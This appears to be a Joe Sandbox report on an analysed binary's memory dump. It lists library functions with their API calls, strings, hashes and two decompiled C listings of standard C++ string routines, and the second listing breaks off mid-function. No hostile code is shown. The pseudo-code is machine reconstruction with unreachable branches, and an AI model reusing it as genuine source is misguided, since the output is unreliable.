0x00b70e37
0x00000000
0x00000000
0x00000000
0x00000000
0x00b70e2d
0x00b70e2d
0x00b70e2e
0x00b70e34
0x00b70e34
0x00000000
0x00b70e2d
0x00b70e41
0x00b70df5
0x00b70df8
0x00b70dfc
0x00b70e02
0x00000000
0x00b70e02
0x00b70e07
0x00b70e07

APIs

DeleteObject.GDI32(?), ref: 00B70DFC
GlobalFlags.KERNEL32(?), ref: 00B70E1D
GlobalUnWire.KERNEL32(?), ref: 00B70E2E
GlobalFree.KERNEL32(?), ref: 00B70E38

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Global$DeleteFlagsFreeObjectWire
String ID:
API String ID: 1221732754-0
Opcode ID: 2355b4c103b05804d0f4c99c2b95486d68d8a7eb31c542672d309a80948ecc88
Instruction ID: 4b5e697fb953550d8a7ace0f92fcb2629eca9c1751e89faee13750ae4e380518
Opcode Fuzzy Hash: 2355b4c103b05804d0f4c99c2b95486d68d8a7eb31c542672d309a80948ecc88
Instruction Fuzzy Hash: AEF0B43381152AE7C6212F44E808FEFBBECDF517A1F184866FA485B11197785940C6E9

Uniqueness

Uniqueness Score: -1.00%

Function 00CD93EA Relevance: 6.0, APIs: 4, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__malloc_crt.LIBCMT ref: 00CD9408
std::exception::exception.LIBCMT ref: 00CD9422
__CxxThrowException@8.LIBCMT ref: 00CD9458

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Exception@8Throw__malloc_crtstd::exception::exception
String ID:
API String ID: 3183362523-0
Opcode ID: 6188c849d70c6bdfa4b6de9d8225fe8e118fd5a03942a88f9f3c41d574629734
Instruction ID: 28583f46c861b7409758b2d0aa30b59ff4f9c6c1695dff6d15a4a58c37999d1a
Opcode Fuzzy Hash: 6188c849d70c6bdfa4b6de9d8225fe8e118fd5a03942a88f9f3c41d574629734
Instruction Fuzzy Hash: 54F04F7490030D6ACB00EEA4C85699EBBE8DB10358F508156FD15EA241EB74D7489BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00B6F0EC Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00D6B598), ref: 00B6F11B
RtlInitializeCriticalSection.NTDLL(00000000), ref: 00B6F131
RtlLeaveCriticalSection.NTDLL(00D6B598), ref: 00B6F143
RtlEnterCriticalSection.NTDLL(00000000), ref: 00B6F14F

Part of subcall function 00B6F0C8: RtlInitializeCriticalSection.NTDLL(00D6B598), ref: 00B6F0E0

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: CriticalSection$EnterInitialize$Leave
String ID:
API String ID: 713024617-0
Opcode ID: cdc53a13472628a065b1ccc3c97111bfda2194715f97e84a6a9cc52622ee1638
Instruction ID: 3363515a222a6079b26b5ba9ccc3dde4160384e5b73163315956e109a94cff43
Opcode Fuzzy Hash: cdc53a13472628a065b1ccc3c97111bfda2194715f97e84a6a9cc52622ee1638
Instruction Fuzzy Hash: D0F0127290035D9FDA102F94ED8976977A8DB563B5F801073E542D6252D7748C848AB2

Uniqueness

Uniqueness Score: -1.00%

Function 00B6D377 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00D6B384), ref: 00B6D383
TlsGetValue.KERNEL32(00D6B368,?,?,?,?,00B6D33B,?,00000004,00B6D813,00B6BD57,00B6C775,00B06215,?,?,?,00B05C95), ref: 00B6D397
RtlLeaveCriticalSection.NTDLL(00D6B384), ref: 00B6D3AD
RtlLeaveCriticalSection.NTDLL(00D6B384), ref: 00B6D3B8

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 0852833e3238eecd16ccddbfe131b135a32583c3bb123dcc0c0b878d8dbab9d6
Instruction ID: 7ec10be18d86d73e4e772b3d48bb5c115e6865cfbfc686695010549af0f81fd0
Opcode Fuzzy Hash: 0852833e3238eecd16ccddbfe131b135a32583c3bb123dcc0c0b878d8dbab9d6
Instruction Fuzzy Hash: B1F05E72B002649F8B115F99D8C8A6EBBFCEB6576030541A5E905EB221C774FC01CBA7

Uniqueness

Uniqueness Score: -1.00%

Function 00B0241A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00B0247F

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, xrefs: 00B024B5
invalid string position, xrefs: 00B024A3

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: _memmove
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/$invalid string position
API String ID: 4104443479-2057747007
Opcode ID: ea2daace4d30728126572731417010e9bd7b098ac1ba150d2441861c3b924830
Instruction ID: cf685b2829393b8d13e33b875ba257726a183755bce910a33cf0d98501cf4209
Opcode Fuzzy Hash: ea2daace4d30728126572731417010e9bd7b098ac1ba150d2441861c3b924830
Instruction Fuzzy Hash: F521C132300214ABDB209F5CDC89A6EBFE9EB40754B1044A9FA498B3C2CB71DD48C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00CACB55 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00CACB5C
__CxxThrowException@8.LIBCMT ref: 00CACBD4

Strings

FilterWithBufferedInput: invalid buffer size, xrefs: 00CACBA5

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Exception@8H_prolog3_Throw
String ID: FilterWithBufferedInput: invalid buffer size
API String ID: 2985221223-2832723189
Opcode ID: 8e806a6973565e1dca120f736d5b29d869fba5c692800a1c42b60ac1f6439da7
Instruction ID: 3ba0b96bfb6d3b9f5433b805089b47db30de35d7c33ccd5fd8b23f9d2c70136b
Opcode Fuzzy Hash: 8e806a6973565e1dca120f736d5b29d869fba5c692800a1c42b60ac1f6439da7
Instruction Fuzzy Hash: 2C219C30200109EFCB24DF58C888BA8B7B4EF09369F044159E5699B690CB71EA89CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B92A91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B92AB4
GetSysColor.USER32(00000014), ref: 00B92AFF

Strings

(, xrefs: 00B92AE3

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Color_memset
String ID: (
API String ID: 3108786944-3887548279
Opcode ID: 5faf7a18d08ae786f3fb31ef01fa879052ed67e464d3e8b6f38d4a9bc5260463
Instruction ID: 9cc7425d8e1530a4d780f0fa8516facd6bceeaa4e24e8fef7dbe7853ace5e0b3
Opcode Fuzzy Hash: 5faf7a18d08ae786f3fb31ef01fa879052ed67e464d3e8b6f38d4a9bc5260463
Instruction Fuzzy Hash: 16219231A5128CDBEB14DFA89C46BEDB7F8EF14305F4080AEE545EB281DA345A48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00B073E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 34%

			E00B073E5(void* __ebx, intOrPtr* __ecx, void* __eflags, signed int _a4, intOrPtr _a8) {
				signed int _v0;
				signed int _v4;
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v40;
				intOrPtr _v56;
				intOrPtr _v76;
				intOrPtr _v88;
				intOrPtr* _v92;
				intOrPtr _v112;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t88;
				signed int _t91;
				signed int _t94;
				intOrPtr _t97;
				signed int _t100;
				signed int _t101;
				signed int _t103;
				signed int _t109;
				signed int _t117;
				signed int _t118;
				signed int _t124;
				signed int _t128;
				signed int _t129;
				intOrPtr* _t139;
				intOrPtr* _t140;
				intOrPtr* _t143;
				intOrPtr* _t146;
				intOrPtr _t148;
				signed int _t149;
				intOrPtr* _t150;
				signed int _t151;
				signed int _t155;
				intOrPtr* _t161;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				signed int _t168;
				signed int _t173;
				signed int _t174;
				intOrPtr* _t180;
				signed int _t182;
				intOrPtr* _t184;
				intOrPtr _t185;
				signed int _t190;
				intOrPtr* _t191;
				intOrPtr _t192;
				intOrPtr _t193;
				intOrPtr _t194;
				intOrPtr _t195;
				intOrPtr _t196;
				signed int _t201;
				intOrPtr* _t213;
				signed int _t214;
				signed int _t215;
				signed int _t216;
				signed int _t217;
				signed int _t218;
				void* _t227;
				void* _t228;
				void* _t229;
				void* _t230;
				void* _t231;
				void* _t233;

				_t147 = __ebx;
				_t190 = _a4;
				_t212 = __ecx;
				_t88 = E00B0239B(__ecx, _t190);
				if(_t88 == 0) {
					_t161 =  *((intOrPtr*)(__ecx + 0x10));
					_push(__ebx);
					_t148 = _a8;
					if((_t88 | 0xffffffff) - _t161 <= _t148) {
						0xca8b37("string too long");
						asm("int3");
						_t227 = _t233;
						_push(_t148);
						_push(__ecx);
						_push(_t190);
						_t191 = _v16;
						_t213 = _t161;
						_t162 = _v12;
						_t91 =  *(_t191 + 0x10);
						if(_t91 < _t162) {
							0xca8b65("invalid string position");
							goto L35;
						} else {
							_t129 = _t91 - _t162;
							_t162 =  *(_t213 + 0x10);
							_v0 = _t162;
							_t148 =  <  ? _t129 : _a8;
							_t91 = (_t129 | 0xffffffff) - _t162;
							if(_t91 <= _t148) {
								L35:
								0xca8b37("string too long");
								asm("int3");
								_push(_t227);
								_t228 = _t233;
								_push(_t213);
								_t214 = _t162;
								_push(_t191);
								_t192 = _v40;
								_t163 =  *(_t214 + 0x10);
								if((_t91 | 0xffffffff) - _t163 <= _t192) {
									0xca8b37("string too long");
									asm("int3");
									_push(_t228);
									_t229 = _t233;
									_push(_t214);
									_push(_t192);
									_t193 = _v56;
									_t215 = _t163;
									_t94 = E00B0703E(_t163, _t193);
									if(_t94 == 0) {
										_t164 =  *(_t215 + 0x10);
										_push(_t148);
										_t149 = _v4;
										if((_t94 | 0xffffffff) - _t164 <= _t149) {
											0xca8b37("string too long");
											asm("int3");
											_push(_t229);
											_t230 = _t233;
											_push(_t215);
											_push(_t193);
											_t194 = _v76;
											_t216 = _t164;
											if(_t194 == 0xffffffff) {
												0xca8b37("string too long");
												asm("int3");
												_push(_t230);
												_t231 = _t233;
												_t97 = _v88;
												_push(_t149);
												_t150 = _v92;
												_push(_t216);
												_push(_t194);
												_t217 = _t164;
												_t66 = _t150 + 0x10; // 0x8b00172f
												_t195 =  *_t66;
												if(_t195 < _t97) {
													0xca8b65("invalid string position");
													asm("int3");
													_push(_t231);
													_push(_t217);
													_push(_t195);
													_t196 = _v112;
													_t218 = _t164;
													if(E00B0703E(_t164, _t196) == 0) {
														_push(_t150);
														_t151 = _v16;
														if(E00B06E31(_t218, _t218, _t151, 0) != 0) {
															if( *((intOrPtr*)(_t218 + 0x14)) < 8) {
																_t101 = _t218;
															} else {
																_t101 =  *_t218;
															}
															E00B078CC(_t101, _t196, _t151);
															 *(_t218 + 0x10) = _t151;
															if( *((intOrPtr*)(_t218 + 0x14)) < 8) {
																_t103 = _t218;
															} else {
																_t103 =  *_t218;
															}
															 *((short*)(_t103 + _t151 * 2)) = 0;
														}
														_t100 = _t218;
													} else {
														if( *((intOrPtr*)(_t218 + 0x14)) < 8) {
															_t100 = _t218;
														} else {
															_t100 =  *_t218;
														}
														_push(_v16);
														_push(_t196 - _t100 >> 1);
														_push(_t218);
														L72();
													}
													return _t100;
												} else {
													_t201 =  <  ? _v8 : _t195 - _t97;
													if(_t217 != _t150) {
														if(E00B06E31(_t164, _t217, _t201, 0) != 0) {
															if( *((intOrPtr*)(_t150 + 0x14)) >= 8) {
																_t150 =  *_t150;
															}
															if( *((intOrPtr*)(_t217 + 0x14)) < 8) {
																_t168 = _t217;
															} else {
																_t168 =  *_t217;
															}
															E00B078CC(_t168, _t150 + _v12 * 2, _t201);
															 *(_t217 + 0x10) = _t201;
															if( *((intOrPtr*)(_t217 + 0x14)) < 8) {
																_t109 = _t217;
															} else {
																_t109 =  *_t217;
															}
															 *((short*)(_t109 + _t201 * 2)) = 0;
														}
													} else {
														_push(_t97 + _t201);
														E00B08331(_t150, _t164, _t201);
														E00B08364(_t150, _t217, _t201, 0, _v12);
													}
													return _t217;
												}
											} else {
												_push(0);
												if(E00B02338(_t164, _t194) != 0) {
													E00B0277F(_t216, 0, _t194, _v8);
													 *((intOrPtr*)(_t216 + 0x10)) = _t194;
													if( *((intOrPtr*)(_t216 + 0x14)) < 0x10) {
														_t117 = _t216;
													} else {
														_t117 =  *_t216;
													}
													 *((char*)(_t117 + _t194)) = 0;
												}
												return _t216;
											}
										} else {
											if(_t149 != 0) {
												_v4 = _t164 + _t149;
												if(E00B06E31(_t215, _t215, _t164 + _t149, 0) != 0) {
													if( *((intOrPtr*)(_t215 + 0x14)) < 8) {
														_t173 = _t215;
													} else {
														_t173 =  *_t215;
													}
													E00B078CC(_t173 +  *(_t215 + 0x10) * 2, _t193, _t149);
													_t174 = _v4;
													 *(_t215 + 0x10) = _t174;
													if( *((intOrPtr*)(_t215 + 0x14)) < 8) {
														_t124 = _t215;
													} else {
														_t124 =  *_t215;
													}
													 *((short*)(_t124 + _t174 * 2)) = 0;
												}
											}
											_t118 = _t215;
											goto L62;
										}
									} else {
										if( *((intOrPtr*)(_t215 + 0x14)) < 8) {
											_t118 = _t215;
										} else {
											_t118 =  *_t215;
										}
										_push(_v4);
										_push(_t193 - _t118 >> 1);
										_push(_t215);
										L20();
										L62:
										return _t118;
									}
								} else {
									if(_t192 != 0) {
										_push(_t148);
										_t155 = _t163 + _t192;
										if(E00B06E31(_t214, _t214, _t155, 0) != 0) {
											E00B069BD(_t214,  *(_t214 + 0x10), _t192, _v0);
											 *(_t214 + 0x10) = _t155;
											if( *((intOrPtr*)(_t214 + 0x14)) < 8) {
												_t128 = _t214;
											} else {
												_t128 =  *_t214;
											}
											 *((short*)(_t128 + _t155 * 2)) = 0;
										}
									}
									return _t214;
								}
							} else {
								if(_t148 != 0 && E00B06E31(_t213, _t213, _t162 + _t148, 0) != 0) {
									if( *((intOrPtr*)(_t191 + 0x14)) >= 8) {
										_t191 =  *_t191;
									}
									if( *((intOrPtr*)(_t213 + 0x14)) < 8) {
										_t180 = _t213;
									} else {
										_t180 =  *_t213;
									}
									E00B078CC(_t180 +  *(_t213 + 0x10) * 2, _t191 + _a4 * 2, _t148);
									_t182 = _v0 + _t148;
									 *(_t213 + 0x10) = _t182;
									if( *((intOrPtr*)(_t213 + 0x14)) < 8) {
										_t139 = _t213;
									} else {
										_t139 =  *_t213;
									}
									 *((short*)(_t139 + _t182 * 2)) = 0;
								}
								return _t213;
							}
						}
					} else {
						if(_t148 != 0) {
							_push(0);
							_a8 = _t161 + _t148;
							if(E00B02338(__ecx, _t161 + _t148) != 0) {
								if( *((intOrPtr*)(__ecx + 0x14)) < 0x10) {
									_t184 = __ecx;
								} else {
									_t184 =  *__ecx;
								}
								if(_t148 != 0) {
									0xc819a0( *((intOrPtr*)(_t212 + 0x10)) + _t184, _t190, _t148);
								}
								_t185 = _a8;
								 *((intOrPtr*)(_t212 + 0x10)) = _t185;
								if( *((intOrPtr*)(_t212 + 0x14)) < 0x10) {
									_t143 = _t212;
								} else {
									_t143 =  *_t212;
								}
								 *((char*)(_t143 + _t185)) = 0;
							}
						}
						_t140 = _t212;
						goto L18;
					}
				} else {
					if( *((intOrPtr*)(__ecx + 0x14)) < 0x10) {
						_t146 = __ecx;
					} else {
						_t146 =  *__ecx;
					}
					_push(_a8);
					_t140 = E00B07305(_t147, _t212, _t190 - _t146, _t212, _t190 - _t146);
					L18:
					return _t140;
				}
			}

0x00b073e5
0x00b073ea
0x00b073ed
0x00b073f0
0x00b073f7
0x00b07415
0x00b0741b
0x00b0741c
0x00b07423
0x00b07481
0x00b07486
0x00b07488
0x00b0748a
0x00b0748b
0x00b0748c
0x00b0748d
0x00b07490
0x00b07492
0x00b07495
0x00b0749a
0x00b0751d
0x00000000
0x00b0749c
0x00b0749f
0x00b074a1
0x00b074a6
0x00b074a9
0x00b074af
0x00b074b3
0x00b07522
0x00b07527
0x00b0752c
0x00b0752d
0x00b0752e
0x00b07530
0x00b07531
0x00b07536
0x00b07537
0x00b0753a
0x00b07541
0x00b0758a
0x00b0758f
0x00b07590
0x00b07591
0x00b07593
0x00b07594
0x00b07595
0x00b07598
0x00b0759b
0x00b075a2
0x00b075c2
0x00b075c8
0x00b075c9
0x00b075d0
0x00b0762d
0x00b07632
0x00b07633
0x00b07634
0x00b07636
0x00b07637
0x00b07638
0x00b0763b
0x00b07640
0x00b0767b
0x00b07680
0x00b07681
0x00b07682
0x00b07684
0x00b07687
0x00b07688
0x00b0768b
0x00b0768c
0x00b0768d
0x00b0768f
0x00b0768f
0x00b07694
0x00b0770e
0x00b07713
0x00b07714
0x00b07717
0x00b07718
0x00b07719
0x00b0771c
0x00b07726
0x00b07746
0x00b07747
0x00b07756
0x00b0775c
0x00b07762
0x00b0775e
0x00b0775e
0x00b0775e
0x00b07767
0x00b0776f
0x00b07776
0x00b0777c
0x00b07778
0x00b07778
0x00b07778
0x00b07780
0x00b07780
0x00b07784
0x00b07728
0x00b0772c
0x00b07732
0x00b0772e
0x00b0772e
0x00b0772e
0x00b07734
0x00b0773d
0x00b0773e
0x00b0773f
0x00b0773f
0x00b0778a
0x00b07696
0x00b0769b
0x00b076a1
0x00b076c4
0x00b076ca
0x00b076cc
0x00b076cc
0x00b076d2
0x00b076d8
0x00b076d4
0x00b076d4
0x00b076d4
0x00b076e3
0x00b076eb
0x00b076f2
0x00b076f8
0x00b076f4
0x00b076f4
0x00b076f4
0x00b076fc
0x00b076fc
0x00b076a3
0x00b076a5
0x00b076a6
0x00b076b3
0x00b076b3
0x00b07706
0x00b07706
0x00b07642
0x00b07642
0x00b0764c
0x00b07656
0x00b0765f
0x00b07662
0x00b07668
0x00b07664
0x00b07664
0x00b07664
0x00b0766a
0x00b0766a
0x00b07673
0x00b07673
0x00b075d2
0x00b075d4
0x00b075de
0x00b075e8
0x00b075ee
0x00b075f4
0x00b075f0
0x00b075f0
0x00b075f0
0x00b075ff
0x00b07604
0x00b0760e
0x00b07611
0x00b07617
0x00b07613
0x00b07613
0x00b07613
0x00b0761b
0x00b0761b
0x00b075e8
0x00b0761f
0x00000000
0x00b07621
0x00b075a4
0x00b075a8
0x00b075ae
0x00b075aa
0x00b075aa
0x00b075aa
0x00b075b0
0x00b075b9
0x00b075ba
0x00b075bb
0x00b07622
0x00b07625
0x00b07625
0x00b07543
0x00b07545
0x00b07547
0x00b07548
0x00b07557
0x00b07562
0x00b0756b
0x00b0756e
0x00b07574
0x00b07570
0x00b07570
0x00b07570
0x00b07578
0x00b07578
0x00b0757c
0x00b07582
0x00b07582
0x00b074b5
0x00b074b7
0x00b074ce
0x00b074d0
0x00b074d0
0x00b074d6
0x00b074dc
0x00b074d8
0x00b074d8
0x00b074d8
0x00b074ed
0x00b074f8
0x00b074fe
0x00b07501
0x00b07507
0x00b07503
0x00b07503
0x00b07503
0x00b0750b
0x00b0750b
0x00b07515
0x00b07515
0x00b074b3
0x00b07425
0x00b07427
0x00b0742e
0x00b07431
0x00b0743b
0x00b07441
0x00b07447
0x00b07443
0x00b07443
0x00b07443
0x00b0744b
0x00b07455
0x00b0745a
0x00b07461
0x00b07464
0x00b07467
0x00b0746d
0x00b07469
0x00b07469
0x00b07469
0x00b0746f
0x00b0746f
0x00b0743b
0x00b07473
0x00000000
0x00b07475
0x00b073f9
0x00b073fd
0x00b07403
0x00b073ff
0x00b073ff
0x00b073ff
0x00b07405
0x00b0740e
0x00b07476
0x00b07479
0x00b07479

APIs

_memmove.LIBCMT ref: 00B07455
std::_Xinvalid_argument.LIBCPMT ref: 00B07481

Strings

string too long, xrefs: 00B0747C, 00B07522

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: 8ec05980c9ba14572cba6883555d7b43590a449f1040b91e3e9a491d00927a56
Instruction ID: a0b665a84d1ffc84aa07cbb0c4837d1e01efdd76c9c443979aac40c317864d64
Opcode Fuzzy Hash: 8ec05980c9ba14572cba6883555d7b43590a449f1040b91e3e9a491d00927a56
Instruction Fuzzy Hash: 4C11D230B482009BDB309E69988591AFFE9EB41720B1045ADE895873C1CF70F809DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B07590 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00B07590(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, signed int _a8) {
				signed int _v0;
				signed int _v4;
				intOrPtr _v16;
				intOrPtr _v28;
				intOrPtr* _v32;
				intOrPtr _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t46;
				intOrPtr _t49;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t55;
				intOrPtr* _t61;
				intOrPtr* _t69;
				intOrPtr* _t70;
				intOrPtr* _t76;
				intOrPtr* _t77;
				signed int _t79;
				intOrPtr* _t80;
				signed int _t81;
				intOrPtr* _t86;
				intOrPtr* _t90;
				intOrPtr* _t95;
				signed int _t96;
				intOrPtr _t100;
				intOrPtr _t101;
				intOrPtr _t102;
				intOrPtr _t103;
				signed int _t108;
				intOrPtr* _t116;
				intOrPtr* _t117;
				intOrPtr* _t118;
				void* _t124;
				void* _t125;
				void* _t127;

				_t100 = _a4;
				_t115 = __ecx;
				_t46 = E00B0703E(__ecx, _t100);
				if(_t46 == 0) {
					_t86 =  *((intOrPtr*)(__ecx + 0x10));
					_t79 = _a8;
					if((_t46 | 0xffffffff) - _t86 <= _t79) {
						0xca8b37("string too long");
						asm("int3");
						_t124 = _t127;
						_push(__ecx);
						_push(_t100);
						_t101 = _v16;
						_t116 = _t86;
						if(_t101 == 0xffffffff) {
							0xca8b37("string too long");
							asm("int3");
							_push(_t124);
							_t125 = _t127;
							_t49 = _v28;
							_push(_t79);
							_t80 = _v32;
							_push(_t116);
							_push(_t101);
							_t117 = _t86;
							_t24 = _t80 + 0x10; // 0x8b00172f
							_t102 =  *_t24;
							if(_t102 < _t49) {
								0xca8b65("invalid string position");
								asm("int3");
								_push(_t125);
								_push(_t117);
								_push(_t102);
								_t103 = _v52;
